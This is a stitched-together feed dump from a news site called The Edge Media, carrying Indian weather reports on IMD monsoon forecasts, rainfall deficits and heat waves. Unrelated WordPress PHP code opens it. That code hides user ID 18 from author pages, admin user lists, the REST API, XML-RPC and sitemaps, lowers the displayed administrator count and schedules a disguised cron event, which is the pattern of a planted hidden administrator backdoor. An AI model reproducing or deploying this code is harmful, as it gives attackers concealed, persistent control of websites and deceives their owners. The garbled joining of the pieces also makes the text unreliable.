add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post IMD predicts heavy showers till September 2 appeared first on The Edge Media.
]]>The southern part of the country will see widespread rainfall activity in the next 24 hours, with Telangana expected to received isolated very heavy falls today, the weather department said.
The rainfall activity is expected to increase in the Northeast region from Wednesday, the IMD forecast added. “Scattered rainfall activity very likely over Western Himalayan Region and adjoining plains of Northwest India during next 4-5 days. Isolated heavy falls also very likely over Uttarakhand on 30th August, 2021,” it said.
The IMD has said that during heavy rainfall could lead to localised flooding, inundation and water logging in low-lying areas in Madhya Pradesh and other states. There is a possibility of landslides, reduction in visibility, damage to vulnerable structure and standing crops in these states, the weather department said.
It also suggested action for the common people to avoid any loss of life of injury:
– Check for traffic congestion on your route before leaving for your destination.
– Follow any traffic advisories that are issued in this regard.
-Avoid going to areas that face the water logging problems often.
-Avoid staying in vulnerable structure.
The IMD on Sunday issued an orange alert for Uttarakhand. There have been intermittent rains in the state since Saturday night, which triggered landslides and waterlogging in various places.
According to the information received from the Disaster Management Department (DMD), more than 200 roads including five National Highways, 15 state highways are blocked in Uttarakhand due to incessant rains and efforts are being made to open them.
The post IMD predicts heavy showers till September 2 appeared first on The Edge Media.
]]>The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>Central and adjoining peninsular India will experience enhanced rainfall activities during the next 2-3 days, the weather department said in its forecast. There will be fairly widespread rainfall in Gujarat, Maharashtra, Odisha, Jharkhand and Gangetic West Bengal on Wednesday and Thursday, the IMD further said.
The activity will continue over Madhya Pradesh on Friday too, according to the weather department. East Uttar Pradesh and Uttarakhand are expected to witness isolated heavy rainfall starting Thursday which will continue till Saturday. Himachal Pradesh, Haryana, Chandigarh, Delhi and West Uttar Pradesh will get rainfall for two days – Friday and Saturday – the IMD said.
The IMD has issued an orange alert for moderate rain in Delhi. The precipitation is expected to bring the maximum temperature down to 32 degrees Celsius in three to four days, it said.
The Northeast India, meanwhile, will continue to receive widespread rainfall activity for the next two days, after which the IMD has predicted a decrease in intensity.
Fairly widespread rainfall activity with isolated heavy falls is very likely over Bihar from August 20 to 22, according to IMD.
Weather experts said “good rainfall” in the last 10 days of the month is expected to cover the precipitation deficit in the national capital.
Normally, Delhi gauges 247.7mm rainfall in August. The IMD had earlier predicted normal rainfall for Delhi this month.
In July, the monsoon had entered the first break phase even before reaching most parts of northwest India, including Delhi.
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>The post 11 percent below normal rainfall from June 1 to July 11 in MP appeared first on The Edge Media.
]]>“Panna district in east MP has received only 64 per cent of the average rainfall, which is that region’s lowest so far this season. The district has recorded 87.6 mm rainfall as against its average of 240. 4 mm,” senior meteorologist with IMD’s Bhopal office, G D Mishra, said.
Likewise, Morena district in west MP has recorded the lowest – 60 per cent rainfall. It received 46.7 mm rainfall against its normal 115.7 mm rainfall, he added.
According to the IMD data, only eight districts, including Singrauli and Chhindwara, out of the 20 districts in east MP, have received more than average rainfall.
Similarly, only six districts, including Bhopal and Indore, out of the total 31 in west MP have received more than normal rainfall, the data showed.
The post 11 percent below normal rainfall from June 1 to July 11 in MP appeared first on The Edge Media.
]]>The post Southwest monsoon likey to reach northwest India in the next few days : IMD appeared first on The Edge Media.
]]>The lower-level easterly winds from the Bay of Bengal have extended northwestwards, reaching up to Delhi, Haryana and east Rajasthan as on Saturday, the Met department said, adding that low-level relative humidity has also increased over the region.
Hence, the conditions continue to remain favourable for further advancement of southwest monsoon over Delhi, remaining parts of west Uttar Pradesh and some more parts of Punjab, Haryana and Rajasthan during the next 24 hours,” the IMD said.
Under the influence of these conditions, the department said fairly widespread to widespread rainfall is very likely over northwest India during the next five days.
It also projected isolated heavy rainfall in Jammu, Kashmir, Ladakh, Gilgit-Baltistan and Muzaffarabad, Himachal Pradesh, Punjab and Uttarakhand during July 10-13. Heavy rainfall is expected over Haryana, Chandigarh and Delhi and west Uttar Pradesh during July 11-13 and over east Rajasthan during July 10-12.
The post Southwest monsoon likey to reach northwest India in the next few days : IMD appeared first on The Edge Media.
]]>The post Southwest Monsoon to hit the remaining areas by July 10 appeared first on The Edge Media.
]]>A low pressure area is likely to form over west-central and adjoining northwest Bay of Bengal off north Andhra Pradesh-south Odisha coasts around July 11, it said.
The moist easterly winds in lower level from Bay of Bengal is likely to establish gradually over parts of eastern India from July 8 onwards. It is likely to spread into northwest India covering Punjab and north Haryana by July 10.
“Accordingly, southwest monsoon (is) likely to advance over remaining parts of west Uttar Pradesh, some more parts of Punjab, Haryana and Rajasthan and Delhi around 10th July,” the IMD said.
After a good spell of rains in the first two and half weeks of June, the Southwest Monsoon has not advanced further since June 19.
The post Southwest Monsoon to hit the remaining areas by July 10 appeared first on The Edge Media.
]]>The post Heat Waves To Pertain In Several States In India appeared first on The Edge Media.
]]>Heat wave conditions are expected throughout Punjab, Haryana, Delhi, north Rajasthan, and Uttar Pradesh in the next two days, according to the India Meteorological Department (IMD). In a previous advisory, IMD stated that the southwest monsoon has yet to reach areas of Rajasthan, Delhi, Haryana, and Punjab. The northern boundary of the southwest monsoon (NLM) passes through Barmer, Bhilwara, Dholpur, Aligarh, Meerut, Ambala, and Amritsar
The post Heat Waves To Pertain In Several States In India appeared first on The Edge Media.
]]>